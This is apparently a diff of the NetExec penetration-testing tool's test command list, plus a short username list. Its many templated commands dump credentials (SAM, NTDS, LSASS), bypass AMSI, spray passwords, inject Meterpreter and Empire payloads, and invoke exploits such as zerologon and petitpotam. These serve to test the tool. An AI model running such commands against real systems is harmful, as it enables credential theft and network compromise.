@@ -1,5 +1,4 @@
Administrator
Anonymous
ftp
guest
robert.baratheon
guest
+100 -85
View File
@@ -1,5 +1,3 @@
##### Check Generic Help Options
netexec -h
##### SMB
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex
netexec {DNS} smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
@@ -22,112 +20,130 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sam
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --lsa
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --dpapi
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sccm
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sccm wmi
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x ipconfig
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x ipconfig --exec-method atexec
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x ipconfig --exec-method smbexec
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x ipconfig --exec-method mmcexec
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --put-file TEST_NORMAL_FILE \\Windows\\Temp\\test_file.txt
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --put-file TEST_NORMAL_FILE \\Windows\\Temp\\test_file.txt --put-file TEST_NORMAL_FILE \\Windows\\Temp\\test_file2.txt
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --get-file \\Windows\\Temp\\test_file.txt /tmp/test_file.txt
##### SMB PowerShell
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --exec-method atexec
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --exec-method smbexec
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --exec-method mmcexec
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --obfs
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --amsi-bypass AMSI_BYPASS_FILE
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs --amsi-bypass AMSI_BYPASS_FILE
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --obfs --amsi-bypass AMSI_BYPASS_FILE
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --amsi-bypass AMSI_BYPASS_FILE
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --no-encode
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --no-encode
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --obfs --no-encode
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs --no-encode
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --obfs --amsi-bypass AMSI_BYPASS_FILE --no-encode
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs --amsi-bypass AMSI_BYPASS_FILE --no-encode
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs --amsi-bypass AMSI_BYPASS_FILE --no-encode --exec-method atexec
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs --amsi-bypass AMSI_BYPASS_FILE --no-encode --exec-method smbexec
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs --amsi-bypass AMSI_BYPASS_FILE --no-encode --exec-method mmcexec
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --clear-obfscripts # current we don't really use?
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x whoami
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X whoami
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X whoami --obfs
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --wmi "select Name from win32_computersystem"
netexec --jitter 2 smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
netexec --jitter 1-3 smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
netexec --jitter 2-2 smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
##### SMB Modules
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -L
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-computer --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-computer -o NAME="BADPC" PASSWORD="Password1"
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-computer -o NAME="BADPC" DELETE=True
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M bh_owned --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M bh_owned
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dfscoerce --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dfscoerce
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M drop-sc
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M drop-sc --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M drop-sc -o CLEANUP=True
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M empire_exec --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M empire_exec -o LISTENER=http-listener
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M empire_exec -o LISTENER=http-listener OBFUSCATE=True
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M enum_av --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M enum_av
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M enum_dns
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M enum_dns --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M enum_dns -o DOMAIN=google.com
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M firefox --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M firefox
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get_netconnections --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get_netconnections
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M gpp_autologin --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M gpp_autologin
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M gpp_password --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M gpp_password
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M handlekatz
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M handlekatz --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M handlekatz -o HANDLEKATZ_EXE_NAME="hk.exe"
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M hash_spider --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M hash_spider
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M impersonate --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M impersonate
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M iis --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M iis
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M install_elevated --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M install_elevated
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ioxidresolver --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ioxidresolver
# currently hanging indefinitely - TODO: look into this
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M keepass_discover --options
#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M keepass_discover
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M keepass_trigger --options
#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M keepass_trigger -o ACTION=ALL USER=LOGIN_USERNAME KEEPASS_CONFIG_PATH="C:\\Users\\LOGIN_USERNAME\\AppData\\Roaming\\KeePass\\KeePass.config.xml"
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M lsassy --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M lsassy
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M masky --options
# You must replace this with the proper CA information!
#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M masky -o CA="host.domain.tld\domain-host-CA"
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M met_inject -o SRVHOST=127.0.0.1 SRVPORT=4443 RAND=12345
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mobaxterm
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mremoteng
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M met_inject --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M met_inject -o SRVHOST=127.0.0.1 SRVPORT=4444 RAND=12345
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ms17-010 --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ms17-010
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M msol --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M msol
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M nanodump --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M nanodump
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M nopac --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M nopac
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ntdsutil --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ntdsutil
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ntlmv1 --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ntlmv1
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M petitpotam --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M petitpotam
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M pi --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M pi
# Will need to change the PID for your test system
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M pi -o PID=100 EXEC='dir'
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M procdump --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M procdump
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M putty
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdcman --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdcman
#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdp --options
#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdp -o ACTION=enable
#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdp -o ACTION=disable
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M reg-query --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M reg-query -o PATH=HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion KEY=DevicePath
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M runasppl --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M runasppl
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M scuffy -o SERVER=127.0.0.1 NAME=test
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M scuffy --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M scuffy -o NAME=test CLEANUP=True
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadowcoerce --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadowcoerce
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M slinky --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M slinky -o SERVER=127.0.0.1 NAME=test
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M slinky -o NAME=test CLEANUP=True
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spider_plus --options
# spider_plus takes a while to run, so it is commented out during normal testing
# netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spider_plus -o MAX_FILE_SIZE=100
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spooler --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spooler
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M teams_localdb --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M teams_localdb
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M test_connection --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M test_connection -o HOST=localhost
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M uac --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M uac
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M veeam --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M veeam
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M vnc
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M vnc -o NO_REMOTEOPS=True
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wdigest --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wdigest -o ACTION=enable
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wdigest -o ACTION=disable
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M web_delivery --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M web_delivery -o URL=localhost/dl_cradle
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M webdav --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M webdav
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M webdav -o MSG="Message: {}"
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wifi --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wifi
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M winscp --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M winscp
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M zerologon --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M zerologon
# test for multiple modules at once
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spooler -M petitpotam -M zerologon -M nopac -M dfscoerce -M enum_av -M enum_dns -M gpp_autologin -M gpp_password -M lsassy -M impersonate -M install_elevated -M ioxidresolver -M ms17-010 -M ntlmv1 -M runasppl -M shadowcoerce -M uac -M webdav -M wifi
@@ -135,12 +151,9 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spooler
netexec smb TARGET_HOST -u '' -p '' -M zerologon
netexec smb TARGET_HOST -u '' -p '' -M petitpotam
##### SMB Auth File
netexec smb TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE --no-bruteforce
netexec smb TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE --no-bruteforce --continue-on-success
netexec smb TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE
##### SMB Hash File
netexec smb TARGET_HOST -u LOGIN_USERNAME -H tests/data/test_hashes.txt
netexec smb TARGET_HOST -u TEST_USER_FILE -H tests/data/test_hashes.txt
netexec smb TARGET_HOST -u data/test_users.txt -p data/test_passwords.txt --no-bruteforce
netexec smb TARGET_HOST -u data/test_users.txt -p data/test_passwords.txt --no-bruteforce --continue-on-success
netexec smb TARGET_HOST -u data/test_users.txt -p data/test_passwords.txt
##### WMI
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --wmi-namespace root/cimv2
@@ -151,8 +164,7 @@ netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spooler
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M zerologon
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M enum_dns
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get_netconnections
#netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdp -o ACTION=enable
#netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdp -o ACTION=disable
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdp
##### LDAP
netexec {DNS} ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --users
@@ -166,20 +178,32 @@ netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --gmsa
##### LDAP Modules
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -L
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M adcs
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M adcs --options
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M daclread -o TARGET=LOGIN_USERNAME ACTION=read
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M daclread --options
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get-desc-users
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get-desc-users --options
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get-network
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get-network --options
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M groupmembership --options
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M groupmembership -o USER=LOGIN_USERNAME
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M laps
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M laps --options
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ldap-checker
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ldap-checker --options
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M maq
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M maq --options
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M subnets
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M subnets --options
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M user-desc
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M user-desc --options
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M whoami
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M whoami --options
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M pso
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M pso --options
##### WINRM
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X whoami
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sam
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sam --dump-method cmd
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sam --dump-method powershell
@@ -195,53 +219,44 @@ netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --port 59
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --check-proto http --port 5985
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --check-proto https --port 5986
##### MSSQL
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # Need a space at the end for kerb regex
netexec {DNS} mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # Need a space at the end for kerb regex
##### MSSQL PowerShell
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --obfs
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --amsi-bypass AMSI_BYPASS_FILE
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs --amsi-bypass AMSI_BYPASS_FILE
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --obfs --amsi-bypass AMSI_BYPASS_FILE
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --amsi-bypass AMSI_BYPASS_FILE
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --no-encode
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --no-encode
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --obfs --no-encode
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs --no-encode
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --obfs --amsi-bypass AMSI_BYPASS_FILE --no-encode
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs --amsi-bypass AMSI_BYPASS_FILE --no-encode
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --clear-obfscripts # current we don't really use?
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
netexec {DNS} mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
##### MSSQL Modules
# netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD -M empire_exec
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -L
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M met_inject -o SRVHOST=127.0.0.1 SRVPORT=4443 RAND=12345
